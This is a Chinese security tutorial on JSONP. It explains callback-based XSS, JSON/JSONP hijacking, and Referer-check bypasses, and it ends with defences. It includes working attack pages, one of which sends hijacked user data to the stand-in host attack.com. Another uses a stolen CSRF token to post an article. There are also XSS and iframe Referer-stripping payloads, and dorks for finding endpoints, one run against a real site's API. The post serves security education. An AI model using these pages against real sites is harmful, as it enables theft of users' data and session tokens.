JSONP是个老话题了,因为不太熟悉这里就总结下吧。

0x01 JSONP

为何使用JSONP

JSONP是实现跨域的一种技术,应用于Web站点需要跨域获取数据的场景。

简单说个情形就能理解了,不贴图了。

假设a.com下存在data.json文件:

1
{ username: "mi1k7ea", password: "secret" }

而下面的html文件用于发起Ajax请求获取data.json的内容并记录日志:

1
2
3
4
5
6
7
8
9
10
<script src='./jquery.js'></script>
<script >
$.ajax({
url: 'http://a.com/data.json',
type:"get",
dataType: "json",
success: function (data) {
console.log(data);}
})
</script>

如果该HTML文件同处于a.com即和data.json同域时,访问该HTML文件能够正常获取json文件的内容。

但是如果该HTML文件放置在b.com下即与data.json文件不同域,访问该HTML文件时浏览器会报错,这是因为Ajax不能发起跨域请求。

但是开发为了方便程序间数据的调用,就搞了几种跨域的方法,其中包括了JSONP。

简单地说,就是利用script标签的src属性能够发起跨域请求的原理来实现的。

将该HTML文件改为:

1
2
3
4
5
6
7
8
<body>
<script src='./jquery.js'></script>
<script>
var s = document.createElement('script');
s.src = 'http://a.com/data.json';
document.body.appendChild(s);
</script>
</body>

此时再访问就发现可以跨域发起请求了,但是会看到浏览器报错,这时因为data.json中的内容并不符合JavaScript代码规范。

重新定义data.json文件让其符合JSONP规范:

1
callback({ username: "mi1k7ea", password: "secret" })

然后在HTML文件中添加callback函数的定义即可:

1
2
3
4
5
6
7
8
9
10
11
<body>
<script src='./jquery.js'></script>
<script type="text/javascript">
function callback(json) {
console.log(json);
}
var s = document.createElement('script');
s.src = 'http://a.com/data.json';
document.body.appendChild(s);
</script>
</body>

此时,基本的JSONP功能就实现了,我们Web站点的HTML文件能够正常地跨域获取目标外域JSON数据了。

至此,我们就清楚了:JSONP就是跨域技术的一种,用来方便Web站点突破SOP的限制从外域端点获取数据。

基本原理

过遍JSON和JSONP的基本概念吧。

JSON(JavaScript Object Notation),即JavaScript对象表示法。

JSONP(JSON with Padding)即填充式的JSON,通过填充额外的内容把JSON数据包装起来,变成一段有效的可以独立运行的JavaScript语句。它是基于JSON 格式的为解决跨域请求资源而产生的解决方案,基本原理是利用HTML里script元素标签,远程调用JSON文件来实现数据传递。

JSONP的基本语法为:callback({“name”:”alan”, “msg”:”success”})

常见的例子包括函数调用(如callback({“a”:”b”}))或变量赋值(var a={JSON data})。

更多原理详解,推荐看看这篇文章:jsonp原理详解——终于搞清楚jsonp是啥了

实现流程

Demo

这里主要借鉴菜鸟教程的示例。

原生形式

jsonp.php,作为JSONP端点,动态生成JSONP格式数据,文件放置在第三方服务器中:

1
2
3
4
5
6
7
8
9
<?php
header('Content-type: application/json');
//获取回调函数名
$jsoncallback = htmlspecialchars($_REQUEST ['callback']);
//json数据
$json_data = '["mi1k7ea","https://www.mi1k7ea.com"]';
//输出jsonp格式的数据
echo $jsoncallback . "(" . $json_data . ")";
?>

jsonp.html,先在script标签中定义,再通过另一个script标签的src属性来实现跨域访问目标JSONP端点获取根据传参动态生成的JSONP数据,文件放置于本地服务器中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP Test</title>
</head>
<body>
<div id="here"></div>
<script type="text/javascript">
function callbackFunction(result, methodName)
{
var html = '<ul>';
for(var i = 0; i < result.length; i++)
{
html += '<li>' + result[i] + '</li>';
}
html += '</ul>';
document.getElementById('here').innerHTML = html;
}
</script>
<script type="text/javascript" src="http://192.168.17.166:81/jsonp.php?callback=callbackFunction"></script>
</body>
</html>

直接在访问本地服务器的jsonp.html,看到其跨域访问JSONP端点获取并解析JSONP数据,显示到页面中:

Jquery的三种形式

$.getJSON
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP Test</title>
<script src="https://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>
</head>
<body>
<div id="here"></div>
<script>
$.getJSON("http://192.168.17.166:81/jsonp.php?callback=?", function(data) {

var html = '<ul>';
for(var i = 0; i < data.length; i++)
{
html += '<li>' + data[i] + '</li>';
}
html += '</ul>';

$('#here').html(html);
});
</script>
</body>
</html>
$.ajax
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP Test</title>
<script src="https://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>
</head>
<body>
<div id="here"></div>
<script>
$(function(){
// 使用ajax来调用jsonp
$.ajax({
type: "get", //jsonp默认为get请求,即使写post也会转换成get方式
async: false, // jsonp默认为false,即使写true也会转换成false
url: "http://192.168.17.166:81/jsonp.php", // 服务端地址
// data: {"code" : "CA1405"}, // 入参
dataType: "jsonp", // jsonp调用固定写法
jsonp: "callback", // 传递给请求处理程序或页面的,用以获得jsonp回调函数名的参数名(一般默认为:callback)。即:?callback=xxx中的callback部分
// jsonpCallback:"flightHandler",//自定义的jsonp回调函数名称,默认为jQuery自动生成的随机函数名,也可以写"?",jQuery会自动为你处理数据。即:?callback=xxx中的xxx部分
success: function(data){ // 调用成功之后的方法
var html = '<ul>';
for(var i = 0; i < data.length; i++)
{
html += '<li>' + data[i] + '</li>';
}
html += '</ul>';
$('#here').html(html);
},
error: function(){ // 调用失败之后的方法
alert('error');
}
});
});
</script>
</body>
</html>
$.get
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP Test</title>
<script src="https://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>
</head>
<body>
<div id="here"></div>
<script>
$.get('http://192.168.17.166:81/jsonp.php?callback=?', function (data) { var html = '<ul>';for(var i = 0; i < data.length; i++){html += '<li>' + data[i] + '</li>';}html += '</ul>';$('#here').html(html); }, 'jsonp');
</script>
</body>
</html>

0x02 JSONP跨域漏洞

JSONP跨域漏洞主要是callback自定义导致的XSS和JSONP劫持。

callback自定义导致的XSS

我们知道,在JSONP跨域中,我们是可以传入一个函数名的参数如callback,然后JSONP端点会根据我们的传参动态生成JSONP数据响应回来。

如果JSONP端点对于用于传入的函数名参数callback处理不当,如未正确设置响应包的Content-Type、未对用户输入参数进行有效过滤或转义时,就会导致XSS漏洞的产生。

未设置Content-Type且未过滤

我们先看下默认情况下未设置Content-Type且未对callback参数进行过滤的场景,这种情形是最基础也是最常见的,网上大多数的JSONP引起的XSS都是这种场景的。

JSONP端点的代码如下,data.php:

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['callback'])){
$callback = $_GET['callback'];
print $callback.'({"username" : "mi1k7ea", "password" : "thisispassword"});';
} else {
echo 'No callback param.';
}
?>

正常访问会在页面返回JSONP数据:

当输入XSS payloadcallback=hello<script>alert(0)</script>时,会弹框,且可以看到响应报文在未设置Content-Type情况下其值为text/html:

几种Content-Type设置探讨

接着我们探讨下几种不同的Content-Type是否会造成XSS。

application/json

查阅资料发现:JSON文本的MIME媒体类型是application/json,默认编码为UTF-8。同时这也是建议的JSONP端点设置的Content-Type值,用于防御XSS。

我们直接在前面data.php中添加设置Header字段的代码即可:

1
2
3
4
5
6
7
8
9
<?php
header('Content-type: application/json');
if(isset($_GET['callback'])){
$callback = $_GET['callback'];
print $callback.'({"username" : "mi1k7ea", "password" : "thisispassword"});';
} else {
echo 'No callback param.';
}
?>

此时无论正常访问还是注入XSS payload,页面都不会显示内容出来:

但我们在浏览器查看原始数据的时候是有JSONP数据返回的,但就是不会在页面中解析该内容:

这种情形,在哪个浏览器尝试都不会弹框,因为此时浏览器不再将响应返回内容当成HTML文档来解析了,而是将其视为JSON数据,但由于该数据是JSONP格式的而不是JSON格式的,当浏览器尝试解析JSON数据时会报错。然而这一切如果只是在几个文件或接口之间JSONP数据的调用,则是不会有问题的,因为它不需要浏览器显示出来而只是取其中的数据而已。

text/json

text/json是application/json正式注册之前,JSON的实验版MIME类型。

将data.php中对应的字段值改为text/json,再访问,可以看到页面原封不动地返回数据,但浏览器不会解析其中的内容,不会弹框:

这种情形处理会将响应内容显示在页面上,但浏览器同样不会将该内容当成HTML文档来解析,同时也没有去按JSON格式解析内容,因此没有报错。

application/javascript与text/javascript

其实,JSONP格式的数据就是JS数据,其返回的内容就是传入参数的JS函数的调用。

application/javascript是JavaScript的正式注册的MIME媒体类型。

因此,可能会有些程序员在设置Content-Type时,会将其设置为application/javascript,将响应的JSONP内容正确地设置为JS类型。

我们修改data.php中对应的Content-Type值为application/javascript再看看,在Chrome和Firefox下确实没有弹框:

但是换到非最新版的IE就会弹了,我本地IE更新到最新的只是提示是否下载该文件而已。

另外,text/javascript的效果是一样的,其是application/javascript的测试版。

X-Content-Type-Options

如果在响应报文中X-Content-Type-Options字段被设置为nosniff,Content-Type必须设置为JavaScript(application/javascript或text/javascript)才能在浏览器中运行。

这是因为在响应中包含回调产生的问题,这时响应不再解析JSON而是解析JS。

JSONP劫持

JSONP劫持其实和CSRF的攻击是类似的,只不过CSRF是提交表单请求,而JSONP劫持是将请求JSONP端点获取到的JSONP数据发往攻击者服务器中、实现获取JSONP敏感信息。

因此,JSONP劫持的前提和CSRF是一样的,当服务端没有校验请求来源,如未严格校验Referer或未存在token机制等,都会导致JSONP劫持的产生。

我们经常会听到JSON劫持和JSONP劫持,两者有啥区别,下面简单说下。

JSON劫持与JSONP劫持

简单地说,JSONP劫持属于JSON劫持的一种。

JSON劫持

JSON劫持即JSON Hijacking,攻击过程类似CSRF,区别在于CSRF只管发送表单请求,但是JSON劫持则是获取JSON格式的敏感数据。

通常,有些Web应用会把一些敏感数据以JSON形式返回到前端,如果仅仅通过cookie来判断请求是否合法,那么就可以利用类似CSRF的手段,向目标服务器发送请求,以获得敏感数据。

当JSON数据响应给网站时,浏览器立即会调用数组或者对象的构造函数。正是利用这一点,把构造方法替换成恶意代码,在构造方法中添加将JSON数据发送给第三方即攻击者的代码。

下面结合简单的示例讲下JSON劫持的原理,参考自Spoock

比如目标站点存在可直接访问JSON数据,其可通过GET请求如www.good.com/user/mail.json来进行访问,同时这个请求没有对用户的身份进行严格的认证,那么当用户访问一个恶意站点的时候,恶意站点同样包含获取www.good.com/user/mail.json的GET请求,再通过JSON劫持的方式就可以获取到用户的敏感JSON数据,然后发送到恶意的站点。

整个过程的流程图如下所示:

关键的步骤是第4步和第7步。当用户访问恶意站点之后,从正常站点将JSON数据下载下来之后,如何发送到恶意站点上去。

这里,我们的恶意页面仅仅是通过script标签的src属性进行导入:

1
<script src="www.good.com/data.json"></script>

新建data.json文件如下:

1
2
3
4
5
6
{
"fname":"Mi1k",
"lname":"7ea",
"phone":"666666",
"email":"mi1k7ea@163.com"
}

当用户在已登录目标站点并保持着Cookie有效的情况下,被诱使访问了我们的恶意页面,就会导致请求目标敏感JSON文件。

JSON数据从服务器端到达浏览器之后,会被浏览器解析为JavaScript中的Object的实例。在这种情况下,只要重写Object类的set方法,就可以获取到想要的数据,这就是JSON劫持的实现,以下就是攻击代码:

1
2
3
4
5
6
7
8
9
<script type="text/javascript">
Object.defineProperty(Object.prototype,"email",{
set:function(obj) {
// send data to www.bad.com
senddata2badsute(obj)
}
});
</script>
<script type="text/javascript" src="www.good.com/data.json"/>

我们为Object类的email属性设置一个Hook函数。在JavaScript中所有的类都是继承至Object类,所以defineProperty()这个方法为所有的对象的email属性都增加了一个Hook函数。当有对象设置email属性的时候,就会运行上面这段代码。所以当浏览器获取到了json数据,要将json数据转化为JavaScript对象的时候,由于json数据中存在email属性的设置,此时就会触发Hook函数,而这个函数就会将数据传送到攻击者。这个过程就完成了json数据的劫持了。

PS:目前网络上关于这方面的资料大部分都是2012年之前的,此时我尝试进行重新的时候,发现已经无法实现了。说明浏览器目前已经修复了这个漏洞。关于hook对象的属性设置目前的实现方法与之前的方法也相同了。

我们本地试下就知道了,当我们通过.属性的方式赋值时是会弹框的:

1
2
3
4
5
6
7
8
9
10
11
<script type="text/javascript">
Object.defineProperty(Object.prototype,"Id",{
set:function(obj) {
alert(obj);
}
});
</script>
<script>
var a = new Object();
a.Id = 666;
</script>

但是如果我们是直接声明并且赋值给一个对象,这个时候就不会触发这个事件:

1
2
3
4
5
6
7
8
9
10
<script type="text/javascript">
Object.defineProperty(Object.prototype,"Id",{
set:function(obj) {
alert(obj);
}
});
</script>
<script>
var b={"Id":123};
</script>

而由目标JSON端点返回的数据都是{‘a’:’b’}的形式,即我们恶意页面接收到JSON数据时在script标签是通过直接声明并且赋值的形式来赋值给对象的,从而也不会导致弹框。换句话说,就是现在的浏览器已经对这种JSON劫持漏洞进行了防御,我们没有办法通过Hook JS函数来实现JSON劫持了。

小结一下

当用户在已登录目标站点并保持着Cookie有效的情况下,被诱使访问了我们的恶意页面,而恶意页面是向目标JSON文件发起请求并获取响应;

因为script标签会自动解析请求回来的JSON数据并生成对应的JS对象,此时我们只需要再通过Object.prototype.__defineSetter__这个函数来进行Hook,就能实现将获取到的JSON数据往外发送给攻击者,从而成功导致JSON劫持;

但是该函数在当前的新版本chrome和firefox中都已经失效了,浏览器早已对此JSON劫持漏洞进行了修补。

JSONP劫持

前面JSON劫持的通用方法其实已经早已被浏览器防御住了,但由于JSONP的出现,导致JSON劫持多了一种JSONP的形式,这是因为JSONP数据其实就是往JS函数中传参进行调用,这就导致了攻击者在恶意页面编写恶意的JS函数,通过JSONP的调用来执行该恶意JS函数、将敏感JSONP数据发往攻击者服务器中。

具体的看下面的Demo即可。

Demo1——窃取用户信息

这里我们模拟一个登录站点,登录后可与JSONP端点交互获取用户信息;而攻击者则是在自己服务器放置恶意HTML文件来尝试劫持用户JSONP数据。

main.php,放置于目标站点,用于用户登录以及与JSONP端点交互获取用户信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
error_reporting(0);
session_start();
$name = $_GET['name'];
$pwd = $_GET['pwd'];
if($name==='admin' && $pwd === 'admin' || $name==='guest' && $pwd === 'guest'){
$_SESSION['name'] = $name;
}
if (isset($_GET['logout'])) {
if ($_GET['logout'] === '1') {
unset($_SESSION['name']);
}
}
echo '<a href="http://victim.com/info.php?callback=jsonp">用户信息</a><br>';
echo '<a href="http://victim.com/main.php?logout=1">退出登录</a><br data-tomark-pass>';
if(!$_SESSION['name']){
echo '<html>
<head>
<title>登录</title>
<meta charset="utf-8">
</head>
<body>
<form action="main.php" method="get">
用户名:<input type="text" name="name">
密码:<input type="password" name="pwd">
<input type="submit" name="submit" value="login">
</form>
</body>
</html>';
}else{
echo "欢迎您, ".$_SESSION['name']."<br data-tomark-pass>";
}
?>

info.php,放置于目标服务器中,JSONP端点,用于提供指定用户的信息,注意这里设置了Content-Type为application/json,防御了JSONP XSS漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
header('Content-type: application/json');
error_reporting(0);
session_start();
$callback = $_GET['callback'];
if($_SESSION['name'] === 'admin'){
echo $callback."({'id':1,'name':'mi1k7ea_admin'})";
} elseif($_SESSION['name'] === 'guest') {
echo $callback."({'id':2,'name':'mi1k7ea_guest'})";
} else {
echo $callback."获取个人信息失败";
}
?>

hijacking.html,放置在攻击者服务器中,用于诱使受害者访问,以窃取目标站点JSONP端点的敏感信息并发往攻击者服务器中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<html>
<head>
<title>lol</title>
<meta charset="utf-8">
</head>
<script type="text/javascript" src="./jquery.js"></script>
<script>
function jsonp_hack(v){
alert("JSONP hijacking");
var h = '';
for(var key in v){
var a = '';
a = key + ' : ' + v[key] + ' ,';
h += a;
}
alert(h);
$.get('http://attack.com/index.html?value='+h);
}
</script>
<script src="http://victim.com/info.php?callback=jsonp_hack"></script>
<body>
<h1>Welcome</h1>
</body>
</html>

用户访问目标站点main.php,是个登录界面:

直接点击用户信息返回失败,因为没有登录,另外由于这里响应包Content-Type为application/json,因此在浏览器页面是看不到返回的JSONP数据的,只能在开发者工具中查看原始数据看到:

接着用户登录admin账号,此时再点击用户信息能够正常查看:

此后,攻击者向用户发送恶意链接诱使用户点击访问,当用户被诱导访问该恶意链接之后,恶意页面就会窃取JSONP端点数据并通过XHR的方式发往攻击者的服务器:

可以看到,弹完框后,会向攻击者目标站点通过GET方式发送JSONP端点敏感信息。

我们在ceye中验证,确实收到了劫持的JSONP数据:

Demo2——劫持token

下面的示例模拟通过JSONP劫持窃取token来发表文章的情形。

add_article.php,放置于目标服务器中,功能是发表文章,前提是token值成功校验通过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if(!empty($_POST['token'])){
$csrf_token = $_POST['token'];
$title = $_POST['title'];
$content = $_POST['content'];
if ($csrf_token === 'NKJJDkajwdadwdad_csrf_token_test')
{
echo '文章发表成功~'.'</br>';
echo $title.'</br>';
echo $content;
}
else
{
echo 'csrf token error';
}
}
else
{
echo 'no token';
}
?>

token.php,放置于JSONP端点,用于动态生成JSONP数据,其中包含token内容:

1
2
3
4
5
6
7
8
9
<?php
header('Content-type: application/json');
if(isset($_GET['callback'])){
$callback = $_GET['callback'];
print $callback.'({"username" : "mi1k7ea", "password" : "thisispassword", "token" : "NKJJDkajwdadwdad_csrf_token_test"});';
} else {
echo 'No callback param.';
}
?>

jsonp.html,攻击者用于诱使用户访问的文件,放置于攻击者服务器中,用于访问目标JSONP端点获取token之后,再带上该token向目标服务器的add_article.php发起请求来发表文章:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html>
<head>
<title>JSONP Hijacking</title>
<meta charset="utf-8">
</head>
<body>
<form action="http://192.168.17.166:81/add_article.php" method="POST" id="csrfsend">
<input type="hidden" name="content" value="Hacked by mi1k7ea!">
<input type="hidden" name="title" value="Oops!">
<input type="hidden" id="token" name="token" value="">
</form>
<script type="text/javascript">
function exp(obj){
console.log(obj);
var token = obj["token"];
document.getElementById("token").value = token;
document.getElementById("csrfsend").submit();
}
</script>
<script type="text/javascript" src="http://192.168.17.166:81/token.php?callback=exp"></script>
</body>
</html>

当用户被诱使访问该恶意页面时,会成功创建文章:

Referer绕过

有些时候,目标服务端会校验Referer字段,此时可以根据一些特定设置进行特定的绕过。

空Referer

有时候程序对Referer进行了校验,但并未对空Referer进行校验,此时我们就可以使用置空的Referer请求来绕过。

实现发送空Referer的请求的方法有三种:

  • 使用iframe标签+javascript伪协议
  • 从HTTPS向HTTP发起请求
  • 使用meta标签

使用iframe标签+javascript伪协议

原理就是在恶意HTML中,给iframe标签的src属性赋值为javascript://伪协议内容,其中具体内容为和之前一样的定义两个script标签、一个定义callback函数具体操作、另一个则是通过script标签的src属性向目标JSONP端点发起跨域请求。

jsonp.html,恶意页面,iframe标签通过javascript伪协议定义script标签的src属性来跨域访问目标JSONP端点,并弹框显示password内容:

1
2
3
4
5
6
7
8
9
<html>
<head>
<title>JSONP Hijacking</title>
<meta charset="utf-8">
</head>
<body>
<iframe src="javascript:'<script>function exp(o){alert(o.password);}</script><script src=http://192.168.17.166:81/data.php?callback=exp></script>'"></iframe>
</body>
</html>

data.php,目标JSONP端点,保存着用户数据:

1
2
3
4
5
6
7
8
9
<?php
header('Content-type: application/json');
if(isset($_GET['callback'])){
$callback = $_GET['callback'];
print $callback.'({"username" : "mi1k7ea", "password" : "thisispassword"});';
} else {
echo 'No callback param.';
}
?>

用户访问恶意页面后,正常弹框显示目标JSONP端点的password数据,可以看到请求头并不存在Referer:

使用meta标签

实现方法就是在我们实现的JSONP劫持的HTML文档中加上meta标签来实现:

1
<meta name="referrer" content="never">

这里我们以Demo1来试下效果,在hijacking.html中插入meta标签:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<html>
<head>
<title>lol</title>
<meta charset="utf-8">
<meta name="referrer" content="never">
</head>
<script type="text/javascript" src="./jquery.js"></script>
<script>
function jsonp_hack(v){
alert("JSONP hijacking");
var h = '';
for(var key in v){
var a = '';
a = key + ' : ' + v[key] + ' ,';
h += a;
}
alert(h);
$.get('http://attack.com/index.html?value='+h);
}
</script>
<script src="http://victim.com/info.php?callback=jsonp_hack"></script>
<body>
<h1>Welcome</h1>
</body>
</html>

看下效果吧,添加之前是有Referer的:

添加之后就没有了:

Referer过滤不严格

当然,Referer过滤不严格的情况各种各样,具体的需要自行进行针对性的分析和绕过。

如果是判断Referer是否存在白名单域名,如只是判断Referer字段值中是否存在mi1k7ea.com字样。那么此时攻击者可以通过子域名的方式如http://www.mi1k7ea.com.attack.com/attack.html 或者在域名前面增加随机的a-z和0-9或者构造http://www.attack.com/attack.html?mi1k7ea.com这样的页面来发起攻击实现绕过Referer防御。

0x03 搜索方法

当然还是Google Hack大法,如:

1
2
3
inurl:json
inurl:callback=
site:a.com inurl:json

常见关键字有:

1
2
3
4
5
6
7
8
9
10
11
callback
jsoncallback
jsonpcallback
jsoncall
jsonpcall
cb
jsoncb
jsonpcb
=json
=jsonp
=jQuery

此外,还可以在对目标站点浏览时,打开F12开发者工具,点击network窗口并勾选preserve log,查看请求记录并进行关键词筛选。

筛选过后需要确实是否是真的JSONP方法,我们将目标URL填入下面的script标签的src中,将callback参数值改为我们自己定义的JS函数callback即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<title>JSONP Hijacking</title>
<meta charset="utf-8">
</head>
<body>
<script type="text/javascript" src="./jquery-3.3.1.js"></script>
<script type="text/javascript">
function callback(v){
console.log(v);
}
var s = document.createElement('script');
s.src = 'http://sapi.beibei.com/resource/utm_source.html?callback=callback';
document.body.appendChild(s);
</script>
</body>
</html>

修改之后访问该HTML文件,若在浏览器的控制台看到输出了JSONP数据内容,则确定是真的JSONP端点。这里访问的是贝贝网的API:

至于信息是否有用,得看看价值了。

0x04 防御

  • 若可行,则使用CORS替换JSONP实现跨域功能;
  • 应用CSRF防御措施来调用JSON文件:限制Referer 、部署Token等;
  • 严格设置Content-Type及编码(Content-Type: application/json; charset=utf-8 );
  • 严格过滤 callback 函数名及JSON里数据的输出;
  • 严格限制对JSONP输出callback函数名的长度(如防御Flash输出的方法);

0x05 参考

JSONP 安全攻防技术

JSONP注入解析

对jsonp劫持的一次简单了解

JSONP 教程

Json劫持与jsonp劫持的区别

Json劫持漏洞简介

jsonp劫持漏洞